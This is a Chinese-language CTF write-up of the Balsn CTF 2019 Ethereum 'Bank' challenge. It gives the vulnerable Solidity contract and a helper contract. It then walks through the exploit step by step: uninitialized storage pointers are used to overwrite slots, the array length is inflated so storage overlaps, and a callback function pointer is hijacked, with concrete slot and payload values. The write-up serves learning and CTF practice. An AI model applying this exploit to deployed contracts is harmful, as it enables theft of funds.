Ethereum Storage(2)

Ethereum Storage

wiki部分

Balsn CTF 2019

这题考察了挺多东西,Ethereum Storage的存储,局部变量未初始化导致可覆盖slot,控制程序流进行跳转有点像pwn了。下面两篇文章讲的非常之详细了。

参考wp
参考wp2

合约源码

较题目源码增加了一个read_slot函数方便读slot值和读safeboxes数组内容的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
pragma solidity ^0.4.24;

contract Bank {
event SendEther(address addr);
event SendFlag(address addr);

address public owner;
uint randomNumber = 0;
constructor() public payable{
owner = msg.sender;
}

struct SafeBox {
bool done;
function(uint, bytes12) internal callback;
bytes12 hash;
uint value;
}
SafeBox[] safeboxes;

struct FailedAttempt {
uint idx;
uint time;
bytes12 triedPass;
address origin;
}
mapping(address => FailedAttempt[]) failedLogs;

modifier onlyPass(uint idx, bytes12 pass) {
if (bytes12(sha3(pass)) != safeboxes[idx].hash) {
FailedAttempt info;
info.idx = idx;
info.time = now;
info.triedPass = pass;
info.origin = tx.origin;
failedLogs[msg.sender].push(info);
}
else {
_;
}
}

function deposit(bytes12 hash) payable public returns(uint) {
SafeBox box;
box.done = false;
box.hash = hash;
box.value = msg.value;
if (msg.sender == owner) {
box.callback = sendFlag;
}
else {
require(msg.value >= 1 ether);
box.value -= 0.01 ether;
box.callback = sendEther;
}
safeboxes.push(box);
return safeboxes.length-1;
}

function withdraw(uint idx, bytes12 pass) public payable {
SafeBox box = safeboxes[idx];
require(!box.done);
box.callback(idx, pass);
box.done = true;
}
function box_info(uint i) public returns(uint,bytes32){
return(safeboxes.length,safeboxes[i])
}
function sendEther(uint idx, bytes12 pass) internal onlyPass(idx, pass) {
msg.sender.transfer(safeboxes[idx].value);
emit SendEther(msg.sender);
}

function sendFlag(uint idx, bytes12 pass) internal onlyPass(idx, pass) {
require(msg.value >= 100000000 ether);
emit SendFlag(msg.sender);
selfdestruct(owner);
}
function read_slot(uint k) public view returns (bytes32 res) {
assembly { res := sload(k) }
}
}

合约分析

分析我就不写了,上面两篇wp真的非常详细。
主要有几个点:

  • deposit里的 SafeBox box,对box的声明并没有指定位置和初始化,所有该结构体指针是指向slot0的,而存储owner的地方正是在slot0,可以覆盖owner,不过后面限制了require(msg.value >= 100000000 ether)所以没啥用。
  • 这个modifier里声明的 FailedAttempt info; 也是未指定位置和初始化的,所以也能覆盖。它能覆盖slot0-2,所以可以改safeboxes的长度。
  • afeboxes是一个动态数组,failedLogs 是一个映射,但他们都是存储在storage上的,所以有没有可能,他们是可以重叠的。只要safeboxes的长度比他们各自起始位置的差值的二分之一大就可以了。也就是 keccak245(msg.address()||3) -keccak256(2) < safebox.length // 2 (因为一个box占俩slot)
  • 重叠之后 failedLogs 里的 某个 info 通过修改 triedPass 就能覆盖safeboxes里某个box的callback了。直接给他跳到 emit SendFlag(msg.sender)

storage具体结构



覆盖又有两种情况,分别如下。

合约攻击

简单记录一下解题过程。不过题目局限于solidity<0.5中

  • 计算target = keccak256(keccak256(msg.sender||3)) + 2,这个是 failedLogs [msg.sender].”origin+tridPasss”的地方,我们要改这里[注意这里有两次keccak,一次是mapping的,一次是failedLogs[]的,实际部署的时候在这里踩坑了]
    利用如下合约可以进行获取 slot 内容、mapping 内容对应 slot 、数组第一个元素对应 slot。
1
target = 0xb1a6110cd4944e459f5cf3db076879119a1a19d3b554e562f2e2cfbad7f41d06

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.24;
contract calc{
function read_slot(uint k) public view returns (bytes32 res) {
assembly { res := sload(k) }
}

function cal_addr(uint k, uint p) public pure returns(bytes32 res) {
res = keccak256(keccak256(abi.encodePacked(k, p)));
}

function calc_1(uint k, uint p) public pure returns(bytes32 res) {
res = keccak256(abi.encodePacked(k, p));
}

function cal_addr(uint p) public pure returns(bytes32 res) {
res = keccak256(abi.encodePacked(p));
}
function cal_uint(uint p) public pure returns(bytes32 res) {
res = keccak256(p);
}
}
  • 计算base = keccak256(2),这个是safeboxes的起始位置
1
base = 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace

  • 计算idx = (target-base)//2 (一个box占俩slot) 这个是要改的位置和safeboxes开始的位置之间能塞多少个box。

这里 idx 指的是在 safeboxes 数组中的索引,因为一个 Safebox 占据两个 slot ,所以要除以 2

1
idx = 0x38a7448960f615325652c85f21a69eb48bc77358f569ea287c3681401a1c611c
  • 如果 (target-base) % 2 == 1,说明不是正正好塞满整数个box,那么idx += 2,我们要用到下两个box,这个box和下一个box都改不到。如果(target - base) % 2 ,如果等于 0 ,说明 origin(20) | triedPass(12) 刚好可以覆盖 unused (11) | hash (12) | callback (8) | done (1)

可以看到这里恰好能塞满整数个box。

  • 计算result = (msg.sender << (12*8)),如果result < idx得换一个账户,长度无法达到覆盖的要求,因为safeboxes的长度是用tx.origin去覆盖的,最后的值会是tx.origin <<(12*8)+Pass

经过判断,(msg.sender << (12*8))>idx,符合长度要求。

1
result = 0x9c5d5be2a76503957853d9b6f81ffde226635739000000000000000000000000
  • 用 1 eth 调用一下 deposit(0x000000000000000000000000)。主要是让box.callback = sendEther;然后就能通过withdraw调用sendEther函数了。

调用完查看slot,可以发现第一个slot中有一个0x08E7,反编译合约查看在0x08E7有一个跳转,就是sendEther函数调用。

  • 调用 withdraw(0, 0x111111111111110000084300),将callback函数覆盖为0843,再调用callback即可跳转到SendFlag哈数。如果step4中 (target-base) % 2 == 1,那么这一步执行两次

0x52b7d2dcc80cd2e4000000即为100000000 eth

调用完withdraw 查看storage,发现safebox长度确实被覆盖了(值即为msg.sender + 0x111111111111110000084300)

并且查看slot=target处的值,成功覆盖的话应该会是msg.sender + 0x111111111111110000084300,事实确实如此

  • 最后再调用一下withdraw(idx, 0x000000000000000000000000) 就能触发emit SendFlag(msg.sender);事件了。

XCTF_final 2019 Happy_DOuble_Eleven